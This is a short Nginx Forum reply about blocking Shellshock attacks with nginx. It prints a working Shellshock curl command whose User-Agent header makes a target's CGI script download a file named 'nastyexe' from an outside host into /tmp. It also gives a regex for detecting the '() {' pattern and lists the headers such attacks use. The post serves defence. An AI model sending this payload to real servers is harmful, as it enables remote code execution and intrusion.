Shellshock protection using nginx ?

[mex]

curl -k -H 'User-Agent: () { somedummytext; }; /usr/bin/wget -O
/tmp/nastyexe http://myserver.com/nastyexe' https://target.com/cgi-bin/hi

:D


if, you should try to match for (regex-pattern) "\(\) {" 
#since this must be written like this;
an additional space between "()      {" would render the exploiut
non-functional

further more: you are missing all headers; attacks i've seen so far worked
angainst
- UA
- cookies
- custom headers

customized attacks might work via POST-BODY too, but this is yet not
confirmed

Posted at Nginx Forum: http://forum.nginx.org/read.php?2,253553,253557#msg-253557